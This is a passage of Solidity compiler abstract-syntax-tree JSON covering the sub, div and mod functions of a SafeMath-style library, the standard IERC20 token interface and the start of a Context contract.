},
"nodeType": "BinaryOperation",
"operator": "-",
"rightExpression": {
"id": 558,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 543,
"src": "6145:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "6141:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 549,
"id": 560,
"nodeType": "Return",
"src": "6134:12:0"
}
]
}
]
},
"id": 563,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "sub",
"nameLocation": "5968:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 546,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 541,
"mutability": "mutable",
"name": "a",
"nameLocation": "5980:1:0",
"nodeType": "VariableDeclaration",
"scope": 563,
"src": "5972:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 540,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5972:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 543,
"mutability": "mutable",
"name": "b",
"nameLocation": "5991:1:0",
"nodeType": "VariableDeclaration",
"scope": 563,
"src": "5983:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 542,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5983:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 545,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "6008:12:0",
"nodeType": "VariableDeclaration",
"scope": 563,
"src": "5994:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 544,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "5994:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "5971:50:0"
},
"returnParameters": {
"id": 549,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 548,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 563,
"src": "6045:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 547,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6045:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6044:9:0"
},
"scope": 612,
"src": "5959:206:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 586,
"nodeType": "Block",
"src": "6268:110:0",
"statements": [
{
"id": 585,
"nodeType": "UncheckedBlock",
"src": "6279:92:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 577,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 575,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 567,
"src": "6312:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">",
"rightExpression": {
"hexValue": "30",
"id": 576,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "6316:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "6312:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 578,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 569,
"src": "6319:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 574,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "6304:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 579,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "6304:28:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 580,
"nodeType": "ExpressionStatement",
"src": "6304:28:0"
},
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 583,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 581,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 565,
"src": "6354:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "/",
"rightExpression": {
"id": 582,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 567,
"src": "6358:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "6354:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 573,
"id": 584,
"nodeType": "Return",
"src": "6347:12:0"
}
]
}
]
},
"id": 587,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "div",
"nameLocation": "6182:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 570,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 565,
"mutability": "mutable",
"name": "a",
"nameLocation": "6194:1:0",
"nodeType": "VariableDeclaration",
"scope": 587,
"src": "6186:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 564,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6186:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 567,
"mutability": "mutable",
"name": "b",
"nameLocation": "6205:1:0",
"nodeType": "VariableDeclaration",
"scope": 587,
"src": "6197:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 566,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6197:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 569,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "6222:12:0",
"nodeType": "VariableDeclaration",
"scope": 587,
"src": "6208:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 568,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "6208:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "6185:50:0"
},
"returnParameters": {
"id": 573,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 572,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 587,
"src": "6259:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 571,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6259:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6258:9:0"
},
"scope": 612,
"src": "6173:205:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 610,
"nodeType": "Block",
"src": "6481:110:0",
"statements": [
{
"id": 609,
"nodeType": "UncheckedBlock",
"src": "6492:92:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 601,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 599,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 591,
"src": "6525:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">",
"rightExpression": {
"hexValue": "30",
"id": 600,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "6529:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "6525:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 602,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 593,
"src": "6532:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 598,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "6517:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 603,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "6517:28:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 604,
"nodeType": "ExpressionStatement",
"src": "6517:28:0"
},
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 607,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 605,
"name": "a",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 589,
"src": "6567:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "%",
"rightExpression": {
"id": 606,
"name": "b",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 591,
"src": "6571:1:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "6567:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"functionReturnParameters": 597,
"id": 608,
"nodeType": "Return",
"src": "6560:12:0"
}
]
}
]
},
"id": 611,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "mod",
"nameLocation": "6395:3:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 594,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 589,
"mutability": "mutable",
"name": "a",
"nameLocation": "6407:1:0",
"nodeType": "VariableDeclaration",
"scope": 611,
"src": "6399:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 588,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6399:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 591,
"mutability": "mutable",
"name": "b",
"nameLocation": "6418:1:0",
"nodeType": "VariableDeclaration",
"scope": 611,
"src": "6410:9:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 590,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6410:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 593,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "6435:12:0",
"nodeType": "VariableDeclaration",
"scope": 611,
"src": "6421:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 592,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "6421:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "6398:50:0"
},
"returnParameters": {
"id": 597,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 596,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 611,
"src": "6472:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 595,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6472:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6471:9:0"
},
"scope": 612,
"src": "6386:205:0",
"stateMutability": "pure",
"virtual": false,
"visibility": "internal"
}
],
"scope": 788,
"src": "4286:2308:0",
"usedErrors": []
},
{
"abstract": false,
"baseContracts": [],
"contractDependencies": [],
"contractKind": "interface",
"fullyImplemented": false,
"id": 679,
"linearizedBaseContracts": [
679
],
"name": "IERC20",
"nameLocation": "6610:6:0",
"nodeType": "ContractDefinition",
"nodes": [
{
"anonymous": false,
"id": 620,
"name": "Transfer",
"nameLocation": "6630:8:0",
"nodeType": "EventDefinition",
"parameters": {
"id": 619,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 614,
"indexed": true,
"mutability": "mutable",
"name": "from",
"nameLocation": "6655:4:0",
"nodeType": "VariableDeclaration",
"scope": 620,
"src": "6639:20:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 613,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6639:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 616,
"indexed": true,
"mutability": "mutable",
"name": "to",
"nameLocation": "6677:2:0",
"nodeType": "VariableDeclaration",
"scope": 620,
"src": "6661:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 615,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6661:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 618,
"indexed": false,
"mutability": "mutable",
"name": "value",
"nameLocation": "6689:5:0",
"nodeType": "VariableDeclaration",
"scope": 620,
"src": "6681:13:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 617,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6681:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6638:57:0"
},
"src": "6624:72:0"
},
{
"anonymous": false,
"id": 628,
"name": "Approval",
"nameLocation": "6708:8:0",
"nodeType": "EventDefinition",
"parameters": {
"id": 627,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 622,
"indexed": true,
"mutability": "mutable",
"name": "owner",
"nameLocation": "6733:5:0",
"nodeType": "VariableDeclaration",
"scope": 628,
"src": "6717:21:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 621,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6717:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 624,
"indexed": true,
"mutability": "mutable",
"name": "spender",
"nameLocation": "6756:7:0",
"nodeType": "VariableDeclaration",
"scope": 628,
"src": "6740:23:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 623,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6740:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 626,
"indexed": false,
"mutability": "mutable",
"name": "value",
"nameLocation": "6773:5:0",
"nodeType": "VariableDeclaration",
"scope": 628,
"src": "6765:13:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 625,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6765:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6716:63:0"
},
"src": "6702:78:0"
},
{
"functionSelector": "18160ddd",
"id": 633,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "totalSupply",
"nameLocation": "6795:11:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 629,
"nodeType": "ParameterList",
"parameters": [],
"src": "6806:2:0"
},
"returnParameters": {
"id": 632,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 631,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 633,
"src": "6832:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 630,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6832:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6831:9:0"
},
"scope": 679,
"src": "6786:55:0",
"stateMutability": "view",
"virtual": false,
"visibility": "external"
},
{
"functionSelector": "70a08231",
"id": 640,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "balanceOf",
"nameLocation": "6856:9:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 636,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 635,
"mutability": "mutable",
"name": "account",
"nameLocation": "6874:7:0",
"nodeType": "VariableDeclaration",
"scope": 640,
"src": "6866:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 634,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6866:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "6865:17:0"
},
"returnParameters": {
"id": 639,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 638,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 640,
"src": "6906:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 637,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6906:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6905:9:0"
},
"scope": 679,
"src": "6847:68:0",
"stateMutability": "view",
"virtual": false,
"visibility": "external"
},
{
"functionSelector": "a9059cbb",
"id": 649,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "transfer",
"nameLocation": "6930:8:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 645,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 642,
"mutability": "mutable",
"name": "to",
"nameLocation": "6947:2:0",
"nodeType": "VariableDeclaration",
"scope": 649,
"src": "6939:10:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 641,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "6939:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 644,
"mutability": "mutable",
"name": "amount",
"nameLocation": "6959:6:0",
"nodeType": "VariableDeclaration",
"scope": 649,
"src": "6951:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 643,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "6951:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "6938:28:0"
},
"returnParameters": {
"id": 648,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 647,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 649,
"src": "6985:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 646,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "6985:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
}
],
"src": "6984:6:0"
},
"scope": 679,
"src": "6921:70:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "external"
},
{
"functionSelector": "dd62ed3e",
"id": 658,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "allowance",
"nameLocation": "7006:9:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 654,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 651,
"mutability": "mutable",
"name": "owner",
"nameLocation": "7024:5:0",
"nodeType": "VariableDeclaration",
"scope": 658,
"src": "7016:13:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 650,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7016:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 653,
"mutability": "mutable",
"name": "spender",
"nameLocation": "7039:7:0",
"nodeType": "VariableDeclaration",
"scope": 658,
"src": "7031:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 652,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7031:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "7015:32:0"
},
"returnParameters": {
"id": 657,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 656,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 658,
"src": "7071:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 655,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "7071:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "7070:9:0"
},
"scope": 679,
"src": "6997:83:0",
"stateMutability": "view",
"virtual": false,
"visibility": "external"
},
{
"functionSelector": "095ea7b3",
"id": 667,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "approve",
"nameLocation": "7095:7:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 663,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 660,
"mutability": "mutable",
"name": "spender",
"nameLocation": "7111:7:0",
"nodeType": "VariableDeclaration",
"scope": 667,
"src": "7103:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 659,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7103:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 662,
"mutability": "mutable",
"name": "amount",
"nameLocation": "7128:6:0",
"nodeType": "VariableDeclaration",
"scope": 667,
"src": "7120:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 661,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "7120:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "7102:33:0"
},
"returnParameters": {
"id": 666,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 665,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 667,
"src": "7154:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 664,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "7154:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
}
],
"src": "7153:6:0"
},
"scope": 679,
"src": "7086:74:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "external"
},
{
"functionSelector": "23b872dd",
"id": 678,
"implemented": false,
"kind": "function",
"modifiers": [],
"name": "transferFrom",
"nameLocation": "7175:12:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 674,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 669,
"mutability": "mutable",
"name": "from",
"nameLocation": "7196:4:0",
"nodeType": "VariableDeclaration",
"scope": 678,
"src": "7188:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 668,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7188:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 671,
"mutability": "mutable",
"name": "to",
"nameLocation": "7210:2:0",
"nodeType": "VariableDeclaration",
"scope": 678,
"src": "7202:10:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 670,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7202:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 673,
"mutability": "mutable",
"name": "amount",
"nameLocation": "7222:6:0",
"nodeType": "VariableDeclaration",
"scope": 678,
"src": "7214:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 672,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "7214:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "7187:42:0"
},
"returnParameters": {
"id": 677,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 676,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 678,
"src": "7248:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 675,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "7248:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
}
],
"src": "7247:6:0"
},
"scope": 679,
"src": "7166:88:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "external"
}
],
"scope": 788,
"src": "6600:657:0",
"usedErrors": []
},
{
"abstract": true,
"baseContracts": [],
"contractDependencies": [],
"contractKind": "contract",
"fullyImplemented": true,
"id": 698,
"linearizedBaseContracts": [
698
],
"name": "Context",
"nameLocation": "7281:7:0",
"nodeType": "ContractDefinition",
"nodes": [
{
"body": {
"id": 687,
"nodeType": "Block",
"src": "7358:36:0",
"statements": [
